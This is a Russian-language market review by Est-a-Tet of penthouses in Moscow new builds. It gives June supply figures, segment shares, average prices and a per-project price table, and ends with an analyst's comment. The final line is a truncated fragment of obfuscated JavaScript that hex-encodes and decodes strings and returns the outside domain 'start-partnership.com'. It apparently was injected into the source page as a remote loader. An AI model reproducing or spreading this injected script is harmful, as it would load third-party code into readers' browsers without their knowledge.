Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор пентхаусов в новостройках «старой» Москвы. По состоянию на июнь объем предложения пентхаусов составляет более 34,7 тыс. кв. м или порядка 142 объектов. За год объем предложения таких лотов вырос на 73,5%. Средняя площадь пентхаусов на столичном рынке находится на уровне 244,4 кв. м. По сравнению с аналогичным периодом 2015 года средняя площадь такого предложения выросла на 11,9%. Средневзвешенная цена на пентхаусы составила 916,6 тыс. руб./кв. м, за год она снизилась на 4,8%.
Рост объема предложения пентхаусов на первичном рынке связан не столько с выходом новых проектов, сколько с выводом в продажу пентхаусов в уже реализующихся комплексах. Основная часть предложения пентхаусов на первичном рынке по суммарной площади объектов представлена в бизнес-классе – 44,5%. Еще 35,8% реализуется в элитном сегменте и 17,3% – в премиум-классе. В комфорт-классе в двух проектах запроектированы объекты, позиционирующиеся застройщиками как пентхаусы, их доля составляет 2,4%. Год назад основную часть предложения по суммарной площади объектов занимали проекты элитного сегмента (49%), доля бизнес-класса составляла 27%, а премиум-класса – 18%.
Большая часть предложения пентхаусов представлена в формате квартир – 59,3%. Стоит отметить, что цена квадратного метра квартир или апартаментов в составе одного проекта в среднем ниже на 10% по отношению к стоимости пентхаусов, в отдельных случаях она может отличаться в несколько раз.
Самый недорогой пентхаус в Москве – это апартаменты площадью 46,8 кв. м за 13,7 млн рублей в квартале клубных домов «Парк Мира».
В таблицу включены объекты, позиционирующиеся застройщиками как пентхаусы, при этом далеко не всех из них обладают всеми качественными характеристиками такого формата.
Проект | Район | Класс проекта | Пентхаусы | Квартиры, средняя цена, тыс. руб./кв. м | |||||
Площадь, min/max кв. м | Цена 1 кв. м, min/max | Стоимость, min/max | |||||||
тыс. руб./кв. м | млн руб. | ||||||||
Деловой квартал «Империя» | Пресненский | премиум | 941,7 | 1 735,9 | 597,9 | 1 160,0 | 1 037,8 | 1 092,4 | 663,6 |
Жилой квартал Knightsbridge Private Park | Хамовники | элита | 146,7 | 402,6 | 1 614,9 | 3 229,6 | 299,8 | 1 300,2 | 1 552,7 |
Клубный дом Novel House | Якиманка | элита | 360,7 | 511,7 | 1 220,9 | 1 220,9 | 440,4 | 624,7 | 1 115,1 |
Жилой квартал RedSide | Пресненский | бизнес | 114,7 | 358,0 | 383,0 | 571,0 | 56,8 | 151,7 | 366,2 |
ЖК Royal House on Yauza | Таганский | элита | 82,8 | 166,0 | 462,0 | 522,5 | 43,3 | 77,3 | 433,2 |
Апарт-комплекс St. Nickolas | Тверской | элита | 190,3 | 206,4 | 1 184,7 | 1 835,1 | 225,4 | 378,8 | 1 528,7 |
Апарт-квартал Tribeca Apartaments | Басманный | бизнес | 182,2 | 417,2 | 225,2 | 479,5 | 72,0 | 103,5 | 296,6 |
Клубный дом Turandot Residences | Арбат | элита | 274,0 | 274,0 | 1 552,8 | 1 552,8 | 425,5 | 425,5 | 977,1 |
ЖК LIFE-Ботанический сад | Свиблово | комфорт | 117,0 | 203,8 | 265,0 | 280,0 | 32,8 | 54,0 | 238,0 |
ЖК Воробьев Дом | Раменки | премиум | 186,1 | 186,1 | 638,8 | 638,8 | 118,9 | 118,9 | 469,9 |
Клубная резиденция «Чистые пруды» | Басманный | элита | 456,0 | 781,0 | 1 151,9 | 1 156,6 | 525,3 | 899,6 | 1 544,3 |
ЖК «Махаон» | Тверской | бизнес | 288,0 | 404,0 | 600,0 | 800,0 | 172,8 | 252,6 | 494,2 |
Апарт-комплекс «Новый Арбат, 32» | Арбат | премиум | 415,8 | 415,8 | 1 450,9 | 1 450,9 | 603,3 | 603,3 | 921,6 |
Квартал клубных домов «Парк Мира» (вторая очередь) | Алексеевский | бизнес | 46,8 | 174,4 | 249,9 | 366,2 | 13,7 | 44,6 | 244,0 |
ЖК «Остоженка Парк Палас» | Хамовники | элита | 245,0 | 245,0 | 1 282,0 | 1 282,0 | 314,1 | 314,1 | 1 395,7 |
Клубный дом «Рахманинов» | Пресненский | элита | 170,0 | 170,0 | 1 747,1 | 1 747,1 | 297,0 | 297,0 | 1 261,9 |
ЖК «Резиденция МОНЭ» | Пресненский | премиум | 120,9 | 291,4 | 950,0 | 950,0 | 114,9 | 276,9 | 566,6 |
Клубный дом «Резиденция на Всеволожском» | Хамовники | элита | 201,1 | 249,5 | 1 900,0 | 1 900,0 | 382,1 | 474,1 | 1 461,8 |
ЖК «Садовые кварталы» | Хамовники | элита | 230,3 | 243,0 | 604,6 | 619,6 | 142,7 | 146,9 | 542,0 |
ЖК «Шоколад» | Таганский | элита | 225,7 | 394,8 | 715,0 | 880,0 | 169,3 | 282,3 | 701,7 |
Мельникова ул., вл. 1,3, корп.6 | Южнопортовый | комфорт | 250,0 | 250,0 | 230,0 | 230,0 | 57,5 | 57,5 | 219,1 |
Апарт-комплекс Art Residence | Беговой | бизнес | 121,9 | 435,2 | 384,7 | 424,7 | 47,1 | 170,0 | 372,6 |
Апарт-комплекс «Резиденция на Покровском бульваре» | Басманный | премиум | 124,2 | 128,5 | н. д. | н. д. | н. д. | н. д. | 404,3 |
ЖК Bunin | Хамовники | премиум | 259,4 | 311,9 | н. д. | н. д. | н. д. | н. д. | 878,0 |
ЖК «Снегири Эко» | Раменки | премиум | 367,2 | 374,0 | 768,6 | 771,1 | 283,1 | 287,5 | 768,7 |
ЖК Grand de Luxe на Плющихе | Хамовники | элита | 297,4 | 431,2 | н. д. | н. д. | н. д. | н. д. | 896,1 |
ЖК Smolensky de Luxe | Арбат | элита | 139,4 | 431,3 | н. д. | н. д. | н. д. | н. д. | 751,5 |
ЖК «Долина Сетунь» | Раменки | бизнес | 230,8 | 419,7 | н. д. | н. д. | н. д. | н. д. | 493,9 |
ЖК Barrin House | Хамовники | элита | 204,8 | 290,7 | н. д. | н. д. | н. д. | н. д. | 853,3 |
Городской квартал «Арена Парк» | Аэропорт | бизнес | 203,1 | 373,9 | 640,5 | 695,6 | 141,3 | 245,3 | 392,2 |
Клубный дом Golden Mile private residence | Хамовники | элита | 770,2 | 896,4 | 2 496,6 | 2 502,7 | 1 923 | 2 243,5 | 2 148,2 |
В классическом понимании пентхаусы должны обладать следующими характеристиками:
- ориентация окон как минимум на две, а лучше на три-четыре стороны света;
- расположение на верхнем или одном из верхних этажей здания;
- видовые характеристики;
- количество пентхаусов на этаже не должно превышать 2 штук, в идеале – 1 пентхаус на этаж;
- многоуровневая планировка помещения – двух- или трехуровневая;
- наличие собственного лифта или специальная система доступа «ключ-код»;
- наличие террасы;
- площадь от 200 кв. м;
- панорамное остекление.
«В настоящее время на рынке первичной недвижимости Москвы в качестве пентхаусов позиционируется множество объектов в составе жилых комплексов. Стоит отметить, что далеко не все они отвечают основным характеристикам данного формата. Зачастую пентхаус в Москве представляет собой квартиру на последнем этаже здания с панорамным остеклением и хорошими видами из окна, а иногда с террасой. В большинстве случаев при строительстве пентхауса в Москве не выполняется основное условие такого типа жилья – видовые характеристики», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est—a—Tet.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "start-partnership.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e